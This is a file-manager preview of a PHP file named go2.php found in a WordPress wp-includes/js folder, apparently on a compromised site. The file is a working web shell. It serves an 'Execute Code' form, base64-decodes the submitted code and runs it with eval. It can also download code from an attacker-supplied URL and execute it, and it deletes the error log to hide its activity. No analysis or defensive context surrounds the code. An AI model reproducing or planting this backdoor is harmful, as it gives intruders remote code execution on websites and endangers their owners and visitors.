Preview: go2.php
Size: 2.21 KB
/home/jambtst2015/public_html/cccng.org/wp-includes/js/go2.php
<?php
session_start();
error_reporting(E_ALL);
function enfal($code) {
$tmp = tmpfile();
$tmpf = stream_get_meta_data($tmp);
$tmpf = $tmpf["uri"];
fwrite($tmp, $code);
$ret = include($tmpf);
fclose($tmp);
return $ret;
}
function iget_data($url, $data = array()) {
if (function_exists("curl_init")) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
if (!empty($data)) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
} else {
$data = file_get_contents($url);
}
return $data;
}
if (!isset($_REQUEST["o"]) && !isset($_SESSION["o"])) {
echo "
<!DOCTYPE html>
<html lang=\"en\">
<head>
<meta charset=\"UTF-8\">
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
<title>Execute Code</title>
</head>
<body>
<form id=\"executeForm\" action=\"\" method=\"post\">
<textarea id=\"encodedTextarea\" name=\"o\" rows=10 cols=50></textarea>
<a href=\"#\" onclick=\"submitForm();\">Execute</a>
</form>
<script>
function encodeTextarea() {
var textarea = document.getElementById('encodedTextarea');
textarea.value = btoa(textarea.value); // Base64 encode the textarea value
}
function submitForm() {
encodeTextarea();
setTimeout(function() {
document.getElementById('executeForm').submit();
}, 2000); // Wait for 2 seconds before submitting the form
}
</script>
</body>
</html>
";
}
$cod = "";
if (isset($_SESSION["o"])) {
$cod = str_replace(array("\r\n", "\r"), "\n", $_SESSION["o"]);
} elseif (isset($_POST["o"])) {
$cod = str_replace(array("\r\n", "\r"), "\n", $_POST["o"]);
$_SESSION["o"] = $_POST["o"];
} else {
$cod = iget_data($_REQUEST["o"]);
}
@unlink("error_log");
eval("?>" . decodeTextarea($cod));
eval("exit;");
enfal($cod);
function decodeTextarea($encodedString) {
return base64_decode($encodedString);
}
?>
Directory Contents
Dirs: 12 × Files: 102